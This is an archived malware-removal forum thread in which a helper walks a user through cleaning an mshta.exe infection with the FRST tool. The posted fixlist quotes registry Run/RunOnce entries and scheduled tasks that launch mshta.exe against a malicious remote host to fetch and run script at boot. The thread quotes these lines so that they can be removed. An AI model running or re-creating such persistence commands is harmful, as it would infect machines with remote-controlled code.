What the Tech?! Free tech support Archive
This is a read-only archive. No new posts or registrations. Privacy Page
Spyware / Malware / Virus Removal

mshta.exe virus! can you help pls TB-Psychotic or anyone? [Solved

19 min read

This thread's last reply is from . Advice, software, and links below may be out of date — treat specific steps and download links with caution.

Looking for the outcome? Ask AI

Post #62

We may have found the answer, thanks to Farbar the author of FRST

 

Go ahead and run a new scan with FRST and I need to see the Addition.txt  log also

Post #63

I turn the computer on - goes to desktop - and about 10 seconds later it pops up in the bottom right corner.   no browsers are open

Post #64

you need to see the additions log  - is that the original one I posted on page 1?

 

 

previously you said 

 

''the first time the tool (frst) is run it generates another log - additions.txt.  ''

 

i have only ever seen this log the first time I ran frst.    I have just run frst and only frst.exe  log is produced.    do you want me to delete the frst program and download it again?

Post #66

When you open up FRST, put a checkmark in addition.txt and it will create a new addition file, I would rather use a current one if we can

Post #69 last edited

Thanks for the logs, hopefully this will take care of it

 

Again if you have an old fixlist txt log drag it to the trash

 

Open notepad (Start =>All Programs => Accessories => Notepad).
Please copy the entire contents of the code box below.
(To do this highlight the contents of the box, right click on it and select copy. Right-click in the open notepad and select Paste).
Save it to the same direction as frst.exe (or frst64.exe) as fixlist.txt.
 
Start
HKU\S-1-5-21-2615214989-2497064625-3642582449-1000\…\Run: [SystemBooteHQ088Vh8yxWhinGduq9jR1yJP8FDAh2] => mshta.exe http://gvn.dogmwijx.org/reg2.php?cccid=eHQ088Vh8yxWhinGduq9jR1yJP8FDAh2&log=1
HKU\S-1-5-21-2615214989-2497064625-3642582449-1000\…\Run: [RegWriteeHQ088Vh8yxWhinGduq9jR1yJP8FDAh2] => mshta.exe http://gvn.dogmwijx.org/set_inf2.php?cccid=eHQ088Vh8yxWhinGduq9jR1yJP8FDAh2
HKU\S-1-5-21-2615214989-2497064625-3642582449-1000\…\RunOnce: [RegWriteeHQ088Vh8yxWhinGduq9jR1yJP8FDAh2] - mshta.exe http://gvn.dogmwijx.org/set_inf2.php?cccid=eHQ088Vh8yxWhinGduq9jR1yJP8FDAh2
Task: {4B0556EC-44EC-49B3-967D-83853E99056E} - \Speedial No Task File <==== ATTENTION
Task: {794B6FE8-AB93-47EE-AC9A-021679F6C4C0} - \Digital Sites No Task File <==== ATTENTION
Task: {605B88AA-58C3-42CA-8A38-671AD6887413} - System32\Tasks\RegWrite => mshta.exe http://gvn.dogmwijx.org/set_inf2.php?cccid=eHQ088Vh8yxWhinGduq9jR1yJP8FDAh2
Task: {79C796C6-C03E-472D-8E39-517211FC7840} - System32\Tasks\SystemBoot => mshta.exe http://gvn.dogmwijx.org/reg2.php?cccid=eHQ088Vh8yxWhinGduq9jR1yJP8FDAh2
Task: {605B88AA-58C3-42CA-8A38-671AD6887413} - System32\Tasks\RegWrite => C:\Windows\system32\mshta.exe [2014-05-08] (Microsoft Corporation)
Task: {79C796C6-C03E-472D-8E39-517211FC7840} - System32\Tasks\SystemBoot => C:\Windows\system32\mshta.exe [2014-05-08] (Microsoft
Hosts:
End
 

 

 
NOTICE: This script was written specifically for this user, for use on that particular machine. Running this on another machine may cause damage to your operating system
 
Then open FRST64 and click on fix
When finished FRST will generate a log on the Desktop (Fixlog.txt). Please post it to your reply.
Post #70

rebooted and waiting a bit……………..

 

waiting…………………   ( for the pop up )

 

nothing yet

 

still waiting………………

 

just to be certain

 

I think you have cracked it.  no pop up.

 

excellent.

 

thank you very much for your time and patience and help.

 

as a thank you I will make a donation via paypal to help fund the website.

 

thanks again

 

( I will post in the next few days about my wifes computer )

Attachments:

Ask AI

AI can make mistakes. Check the cited posts. Archived advice can be out-of-date

Don't include personal information. Questions and selected public posts go to OpenAI. About Ask AI